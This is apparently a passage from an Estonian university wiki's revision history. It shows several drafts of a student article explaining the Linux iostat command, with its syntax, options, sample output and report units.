nfs1 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0 0 <br />
nfs49 0.0 0.0 0.0 0.0 0.0 0.0 15.1 0 0 <br />
nfs53 0.0 0.0 0.4 0.0 0.0 0.0 24.5 0 0 <br />
nfs54 0.0 0.0 0.0 0.0 0.0 0.0 6.3 0 0 <br />
nfs55 0.0 0.0 0.0 0.0 0.0 0.0 4.9 0 0 </pre><br />
'''<br />
==Kokkuvõte==<br />
'''<br />
Iostat on kasulik tööriist süsteemi toimimise jälgimiseks, mis kuvab infot plokkseadmete, protsessori ja võrgu kasutuse kohta. Selle abil saadud info on abiks süsteemi sisend/väljund seadmete konfiguratsiooni optimeerimiseks, kuna aitab välja selgitada võimalikke probleemseid kohti.<br />
'''<br />
==Allikad==<br />
'''<br />
[http://linux.die.net/man/1/iostat Linux man page]<br />
<br />
[http://www.computerhope.com/unix/iostat.htm Computerhope]<br />
<br />
[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/ Thegeekstuff]<br />
<br />
[https://docs.oracle.com/cd/E23824_01/html/821-1451/spmonitor-4.html Oracle Solaris Admin]<br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=82574
Iostat
2014-11-13T19:11:54Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= Iostat =<br />
'''''<br />
<br />
'''Elina Prudnikova A21'''<br />
<br />
'''''<br />
=== Lühikirjeldus ===<br />
'''''<br />
Iostat'i kasutatakse sisend/väljund seadmete toimimise jälgimiseks. Näitab infot protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat'i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, plokkseadmete ja võrgu kasutusest. Esimene raport genereerib andmeid alates süsteemi alglaadimisest. Iga järgnev raport hõlmab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]<br />
<br />
Iostat on osa sar utiliidist, mis sisaldub sysstat paketis. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
'''<br />
===Paigaldamise lühijuhend===<br />
'''<br />
Iostat'i kasutamiseks on vaja paigaldada '''sysstat'''.[http://www.thegeekstuff.com/2011/03/sar-examples/]<br />
<br />
<pre>sudo apt-get install sysstat</pre><br />
<br />
Kontrolli paigaldust:<br />
<br />
<pre>$ sar -V<br />
sysstat version 10.0.0<br />
(C) Sebastien Godard (sysstat orange.fr)</pre><br />
<br />
<pre>$ sar 1 3<br />
Linux 2.6.18-194.el5PAE (dev-db) 03/26/2011 _i686_ (8 CPU)<br />
<br />
01:27:32 PM CPU %user %nice %system %iowait %steal %idle<br />
01:27:33 PM all 0.00 0.00 0.00 0.00 0.00 100.00<br />
01:27:34 PM all 0.25 0.00 0.25 0.00 0.00 99.50<br />
01:27:35 PM all 0.75 0.00 0.25 0.00 0.00 99.00<br />
Average: all 0.33 0.00 0.17 0.00 0.00 99.50</pre><br />
<br />
[http://www.thegeekstuff.com/2011/03/sar-examples/ Abiks paigaldamisel]<br />
<br />
'''<br />
=== Süntaks ===<br />
'''<br />
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]<br />
<pre>iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] <br />
[ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] <br />
[ -p [ device [,...] | ALL ] ] [ interval [ count ] ]</pre><br />
<br />
'''<br />
=== Võtmed ===<br />
'''<br />
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]<br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><br />
<td>-c</td><br />
<td>Kuvab protsessori kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-d</td> <td>Kuvab seadmete kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-g group_name { device [...] | ALL }</td><td> Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.</td><br />
</tr><br />
<tr><br />
<td>-h</td> <td>Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). </td><br />
</tr><br />
<tr><br />
<td>-k</td> <td>Määra ühikuteks kb/s.</td> <br />
</tr><br />
<tr><br />
<td>-m</td> <td>Määra ühikuteks Mb/s.</td> <br />
</tr><br />
<tr><br />
<td>-N</td> <td>Kuvab infot device mapper'i kohta. Kasulik LVM2 jälgimiseks.</td> <br />
</tr><br />
<tr><br />
<td>-p [ { device [,...] | ALL } ]</td> <td>Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. </td><br />
</tr><br />
<tr><br />
<td>-T</td> <td>Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. </td><br />
</tr><br />
<tr><br />
<td>-t</td> <td>Näita iga raporti aega. </td><br />
</tr><br />
<tr><br />
<td>-V</td> <td>Prindi versiooni number ja tekst. </td><br />
</tr><br />
<tr><br />
<td>-x</td> <td>Kuva laiendatud statistikat. </td><br />
</tr><br />
<tr><br />
<td>-z</td> <td>Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.</td><br />
</tr> <br />
</table><br />
<br />
'''<br />
===Protsessori ja plokkseadmete raport===<br />
'''<br />
'''Iostat''' käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide ketaste ja kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.72 1096.66 1598.70 2719068704 3963827344<br />
sda1 178.20 773.45 1329.09 1917686794 3295354888<br />
sda2 16.51 323.19 269.61 801326686 668472456<br />
sdb 371.31 945.97 1073.33 2345452365 2661206408<br />
sdb1 371.31 945.95 1073.33 2345396901 2661206408<br />
sdc 408.03 207.05 972.42 513364213 2411023092<br />
sdc1 408.03 207.03 972.42 513308749 2411023092</pre><br />
<br />
'''Iostat''' võtmega '''-c''' kuvab infot ainult protsessori kasutuse kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat -c<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76</pre><br />
'''<br />
Iostat''' võtmega '''-d''' kuvab infot ainult ketaste ja kettajagude kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat -d<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.71 1096.61 1598.63 2719068720 3963827704<br />
sda1 178.20 773.41 1329.03 1917686810 3295355248<br />
sda2 16.51 323.18 269.60 801326686 668472456<br />
sdb 371.29 945.93 1073.28 2345452365 2661209192<br />
sdb1 371.29 945.91 1073.28 2345396901 2661209192<br />
sdc 408.01 207.04 972.38 513364213 2411024484<br />
sdc1 408.01 207.02 972.38 513308749 2411024484</pre><br />
<br />
'''Kasutatud mõõtühikud'''<br />
<p>Protsessori ja seadmete raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]</p><br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><td>%user</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja (programmi) tasemel. </td><br />
</tr><br />
<tr><td>%nice</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja prioriteediga ''nice'' tasemel. </td><br />
</tr><br />
<tr><td>%system</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine süsteemi tasemel.</td><br />
</tr><br />
<tr><td>%iowait</td><td>Kuva protsenti ajast mil protsessor oli tegevusetu siis, kui süsteem sai olulise sisend/väljund nõude.</td><br />
</tr><br />
<tr><td>%steal</td><td>Kuva protsenti ajast mil virtuaalne protsessor oli ooteajal, sest ''hypervisor'' tegeles teise virtuaalse protsessoriga.</td><br />
</tr><br />
<tr><td>%idle</td><td>Kuva protsenti ajast mil protsessor oli tegevusetu ja süsteemil polnud olulisi sisend/väljund nõudeid.</td><br />
</tr><br />
<tr><td>tps</td><td>Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.</td><br />
</tr><br />
<tr><td>Blk_read/s</td><td>Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_wrtn/s</td><td>Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_read</td><td>Loetud plokkide koguarv.</td><br />
</tr><br />
<tr><td>Blk_wrtn</td><td>Kirjutatud plokkide koguarv.</td><br />
</tr><br />
</table><br />
'''<br />
===Võrgu raport===<br />
'''<br />
Võrgu statistika kuvamiseks saab kasutada võtit '''-n'''.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<pre>$ iostat -n<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %sys %iowait %idle<br />
4.33 0.01 1.16 0.31 94.19<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 2.83 0.35 5.39 29817402 457360056<br />
sda1 3.32 50.18 4.57 4259963994 387641400<br />
sda2 0.20 0.76 0.82 64685128 69718576<br />
sdb 6.59 15.53 42.98 1318931178 3649084113<br />
sdb1 11.80 15.53 42.98 1318713382 3649012985<br />
<br />
Device: rBlk_nor/s wBlk_nor/s rBlk_dir/s wBlk_dir/s rBlk_svr/s wBlk_svr/s<br />
192.168.1.4:/home/data 90.67 0.00 0.00 0.00 5.33 0.00<br />
192.168.1.4:/backup 8.74 0.00 0.00 0.00 8.74 0.00<br />
192.168.1.8:/media 0.02 0.00 0.00 0.00 0.01 0.00</pre><br />
<br />
'''Kasutatud mõõtühikud'''<br />
Võrgu statistika kohta käivad ühikud on järgnevas tabelis.[http://linux.die.net/man/1/iostat]<br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><td>rBlk_nor/s</td><td>Programmide poolt loetud plokkide arv.</td></tr><br />
<tr><td>wBlk_nor/s</td><td>Programmide poolt kirjutatud plokkide arv.</td></tr><br />
<tr><td>rBlk_dir/s </td><td>Loetud plokkide arv failidest, mis avati O_DIRECT lipuga.</td></tr><br />
<tr><td>wBlk_dir/s </td><td>Kirjutatud plokkide arv failidesse, mis avati O_DIRECT lipuga.</td></tr><br />
<tr><td>rBlk_svr/s</td><td>NFS kliendi poolt serverist loetud plokkide arv.</td></tr><br />
<tr><td>wBlk_svr/s</td><td>NFS kliendi poolt serverisse kirjutatud plokkide arv.</td></tr><br />
</table><br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=82572
Iostat
2014-11-13T15:37:02Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= Iostat =<br />
'''''<br />
<br />
'''Elina Prudnikova A21'''<br />
<br />
'''''<br />
=== Lühikirjeldus ===<br />
'''''<br />
Iostat'i kasutatakse sisend/väljund seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat'i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, plokkseadmete ja võrgu kasutusest. Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]<br />
<br />
Iostat on osa sar utiliidist, mis sisaldub sysstat paketis. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
'''<br />
===Paigaldamise lühijuhend===<br />
'''<br />
Iostat'i kasutamiseks on vaja paigaldada sysstat.[http://www.thegeekstuff.com/2011/03/sar-examples/]<br />
<br />
<pre>sudo apt-get install sysstat</pre><br />
<br />
Kontrolli paigaldust:<br />
<br />
<pre>$ sar -V<br />
sysstat version 10.0.0<br />
(C) Sebastien Godard (sysstat orange.fr)</pre><br />
<br />
<pre>$ sar 1 3<br />
Linux 2.6.18-194.el5PAE (dev-db) 03/26/2011 _i686_ (8 CPU)<br />
<br />
01:27:32 PM CPU %user %nice %system %iowait %steal %idle<br />
01:27:33 PM all 0.00 0.00 0.00 0.00 0.00 100.00<br />
01:27:34 PM all 0.25 0.00 0.25 0.00 0.00 99.50<br />
01:27:35 PM all 0.75 0.00 0.25 0.00 0.00 99.00<br />
Average: all 0.33 0.00 0.17 0.00 0.00 99.50</pre><br />
<br />
[http://www.thegeekstuff.com/2011/03/sar-examples/ Abiks paigaldamisel]<br />
<br />
'''<br />
=== Süntaks ===<br />
'''<br />
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]<br />
<pre>iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] <br />
[ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] <br />
[ -p [ device [,...] | ALL ] ] [ interval [ count ] ]</pre><br />
<br />
'''<br />
=== Võtmed ===<br />
'''<br />
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]<br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><br />
<td>-c</td><br />
<td>Kuvab protsessori kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-d</td> <td>Kuvab seadmete kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-g group_name { device [...] | ALL }</td><td> Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.</td><br />
</tr><br />
<tr><br />
<td>-h</td> <td>Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). </td><br />
</tr><br />
<tr><br />
<td>-k</td> <td>Määra ühikuteks kb/s.</td> <br />
</tr><br />
<tr><br />
<td>-m</td> <td>Määra ühikuteks Mb/s.</td> <br />
</tr><br />
<tr><br />
<td>-N</td> <td>Kuvab infot device mapper'i kohta. Kasulik LVM2 jälgimiseks.</td> <br />
</tr><br />
<tr><br />
<td>-p [ { device [,...] | ALL } ]</td> <td>Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. </td><br />
</tr><br />
<tr><br />
<td>-T</td> <td>Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. </td><br />
</tr><br />
<tr><br />
<td>-t</td> <td>Näita iga raporti aega. </td><br />
</tr><br />
<tr><br />
<td>-V</td> <td>Prindi versiooni number ja tekst. </td><br />
</tr><br />
<tr><br />
<td>-x</td> <td>Kuva laiendatud statistikat. </td><br />
</tr><br />
<tr><br />
<td>-z</td> <td>Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.</td><br />
</tr> <br />
</table><br />
<br />
'''<br />
===Protsessori raport===<br />
'''<br />
Iostat käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide ketaste ja kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.72 1096.66 1598.70 2719068704 3963827344<br />
sda1 178.20 773.45 1329.09 1917686794 3295354888<br />
sda2 16.51 323.19 269.61 801326686 668472456<br />
sdb 371.31 945.97 1073.33 2345452365 2661206408<br />
sdb1 371.31 945.95 1073.33 2345396901 2661206408<br />
sdc 408.03 207.05 972.42 513364213 2411023092<br />
sdc1 408.03 207.03 972.42 513308749 2411023092</pre><br />
<br />
Iostat võtmega -c kuvab infot ainult protsessori kasutuse kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat -c<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76</pre><br />
<br />
Iostat võtmega -d kuvab infot ainult ketaste ja kettajagude kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat -d<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.71 1096.61 1598.63 2719068720 3963827704<br />
sda1 178.20 773.41 1329.03 1917686810 3295355248<br />
sda2 16.51 323.18 269.60 801326686 668472456<br />
sdb 371.29 945.93 1073.28 2345452365 2661209192<br />
sdb1 371.29 945.91 1073.28 2345396901 2661209192<br />
sdc 408.01 207.04 972.38 513364213 2411024484<br />
sdc1 408.01 207.02 972.38 513308749 2411024484</pre><br />
<br />
'''Kasutatud ühikud'''<br />
<p>Protsessori raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]</p><br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><td>%user</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja (programmi) tasemel. </td><br />
</tr><br />
<tr><td>%nice</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja prioriteediga ''nice'' tasemel. </td><br />
</tr><br />
<tr><td>%system</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine süsteemi tasemel.</td><br />
</tr><br />
<tr><td>%iowait</td><td>Kuva protsenti ajast mil protsessor oli tegevusetu siis, kui süsteem sai olulise sisend/väljund nõude.</td><br />
</tr><br />
<tr><td>%steal</td><td>Kuva protsenti ajast mil virtuaalne protsessor oli ooteajal, sest ''hypervisor'' tegeles teise virtuaalse protsessoriga.</td><br />
</tr><br />
<tr><td>%idle</td><td>Kuva protsenti ajast mil protsessor oli tegevusetu ja süsteemil polnud olulisi sisend/väljund nõudeid.</td><br />
</tr><br />
<tr><td>tps</td><td>Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.</td><br />
</tr><br />
<tr><td>Blk_read/s</td><td>Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_wrtn/s</td><td>Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_read</td><td>Loetud plokkide koguarv.</td><br />
</tr><br />
<tr><td>Blk_wrtn</td><td>Kirjutatud plokkide koguarv.</td><br />
</tr><br />
<br />
<br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=82571
Iostat
2014-11-13T15:03:34Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= Iostat =<br />
'''''<br />
<br />
'''Elina Prudnikova A21'''<br />
<br />
'''''<br />
=== Lühikirjeldus ===<br />
'''''<br />
<br />
Iostat'i kasutatakse sisend/väljund seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat'i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, seadmete ja võrgu kasutusest. Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]<br />
<br />
'''<br />
=== Süntaks ===<br />
'''<br />
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]<br />
<pre>iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] <br />
[ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] <br />
[ -p [ device [,...] | ALL ] ] [ interval [ count ] ]</pre><br />
<br />
'''<br />
=== Võtmed ===<br />
'''<br />
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]<br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><br />
<td>-c</td><br />
<td>Kuvab protsessori kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-d</td> <td>Kuvab seadmete kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-g group_name { device [...] | ALL }</td><td> Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.</td><br />
</tr><br />
<tr><br />
<td>-h</td> <td>Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). </td><br />
</tr><br />
<tr><br />
<td>-k</td> <td>Määra ühikuteks kb/s.</td> <br />
</tr><br />
<tr><br />
<td>-m</td> <td>Määra ühikuteks Mb/s.</td> <br />
</tr><br />
<tr><br />
<td>-N</td> <td>Kuvab infot device mapper'i kohta. Kasulik LVM2 jälgimiseks.</td> <br />
</tr><br />
<tr><br />
<td>-p [ { device [,...] | ALL } ]</td> <td>Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. </td><br />
</tr><br />
<tr><br />
<td>-T</td> <td>Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. </td><br />
</tr><br />
<tr><br />
<td>-t</td> <td>Näita iga raporti aega. </td><br />
</tr><br />
<tr><br />
<td>-V</td> <td>Prindi versiooni number ja tekst. </td><br />
</tr><br />
<tr><br />
<td>-x</td> <td>Kuva laiendatud statistikat. </td><br />
</tr><br />
<tr><br />
<td>-z</td> <td>Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.</td><br />
</tr> <br />
</table><br />
<br />
<br />
'''<br />
===Protsessori raport===<br />
'''<br />
<br />
Iostat käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.72 1096.66 1598.70 2719068704 3963827344<br />
sda1 178.20 773.45 1329.09 1917686794 3295354888<br />
sda2 16.51 323.19 269.61 801326686 668472456<br />
sdb 371.31 945.97 1073.33 2345452365 2661206408<br />
sdb1 371.31 945.95 1073.33 2345396901 2661206408<br />
sdc 408.03 207.05 972.42 513364213 2411023092<br />
sdc1 408.03 207.03 972.42 513308749 2411023092</pre><br />
<br />
'''Protsessori raporti ühikud'''<br />
<p>Protsessori raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]</p><br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><td>tps</td><td>Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.</td><br />
</tr><br />
<tr><td>Blk_read/s</td><td>Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_wrtn/s</td><td>Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_read</td><td>Loetud plokkide koguarv.</td><br />
</tr><br />
<tr><td>Blk_wrtn</td><td>Kirjutatud plokkide koguarv.</td><br />
</tr><br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=82570
Iostat
2014-11-13T14:32:16Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= Iostat =<br />
'''''<br />
<br />
'''Elina Prudnikova A21'''<br />
<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
<br />
Iostat'i kasutatakse sisend/väljund seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat'i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. <br />
<br />
Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. <br />
<br />
'''<br />
== Süntaks ==<br />
'''<br />
<br />
<pre>iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] <br />
[ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] <br />
[ -p [ device [,...] | ALL ] ] [ interval [ count ] ]</pre><br />
<br />
'''<br />
== Võtmed ==<br />
'''<br />
<br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align="center"><br />
<tr><br />
<td>-c</td><br />
<td>Näitab protsessori kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-d</td> <td>Näitab seadmete kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-g group_name { device [...] | ALL }</td><td> Näitab seadmete grupi statistikat. Näidatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.</td><br />
</tr><br />
<tr><br />
<td>-h</td> <td>Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). </td><br />
</tr><br />
<tr><br />
<td>-k</td> <td>Näitab andmeid kb/s.</td> <br />
</tr><br />
<tr><br />
<td>-m</td> <td>Näitab andmeid Mb/s.</td> <br />
</tr><br />
<tr><br />
<td>-N</td> <td>Näitab infot device mapper'i kohta. Kasulik LVM2 jälgimiseks.</td> <br />
</tr><br />
<tr><br />
<td>-p [ { device [,...] | ALL } ]</td> <td>Näitab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. </td><br />
</tr><br />
<tr><br />
<td>-T</td> <td>Seda võtit peab kasutama koos -g võtmega ja määrab, et näidatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. </td><br />
</tr><br />
<tr><br />
<td>-t</td> <td>Näita iga raporti aega. </td><br />
</tr><br />
<tr><br />
<td>-V</td> <td>Prindi versiooni number ja tekst. </td><br />
</tr><br />
<tr><br />
<td>-x</td> <td>Näita laiendatud statistikat. </td><br />
</tr><br />
<tr><br />
<td>-z</td> <td>Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.</td><br />
</tr> <br />
</table><br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=82569
Iostat
2014-11-13T14:29:03Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= Iostat =<br />
'''''<br />
<br />
'''Elina Prudnikova A21'''<br />
<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
<br />
Iostat'i kasutatakse sisend/väljund seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat'i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. <br />
<br />
Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. <br />
<br />
'''<br />
== Süntaks ==<br />
'''<br />
<br />
<pre>iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] <br />
[ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] <br />
[ -p [ device [,...] | ALL ] ] [ interval [ count ] ]</pre><br />
<br />
'''<br />
== Võtmed ==<br />
'''<br />
<br />
<table><br />
<tr><br />
<td>-c</td><br />
<td>Näitab protsessori kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-d</td> <td>Näitab seadmete kasutuse raportit.</td><br />
</tr><br />
<tr><br />
